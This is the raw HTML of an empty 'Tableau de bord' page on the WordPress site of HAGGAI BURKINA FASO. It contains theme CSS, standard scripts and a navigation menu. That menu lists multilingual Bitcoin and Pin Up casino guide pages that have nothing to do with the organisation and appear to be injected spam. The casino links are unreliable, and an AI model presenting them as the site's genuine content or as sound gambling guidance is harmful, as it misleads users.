fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/56/et-divi-dynamic-56.css?ver=1780281771' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://haggai-bf.org/wp-json/wp/v2/pages/56" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel="canonical" href="https://haggai-bf.org/tableau-de-bord/" />
<link rel='shortlink' href='https://haggai-bf.org/?p=56' />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /><style id="et-critical-inline-css"></style>
</head>
<body class="wp-singular page-template-default page page-id-56 wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">


	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">


			
				<article id="post-56" class="post-56 page type-page status-publish hentry">

				
					<h1 class="entry-title main_title">Tableau de bord</h1>
				
				
					<div class="entry-content">
										</div>

				
				</article>

			

			</div>

					</div>
	</div>


</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"56","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
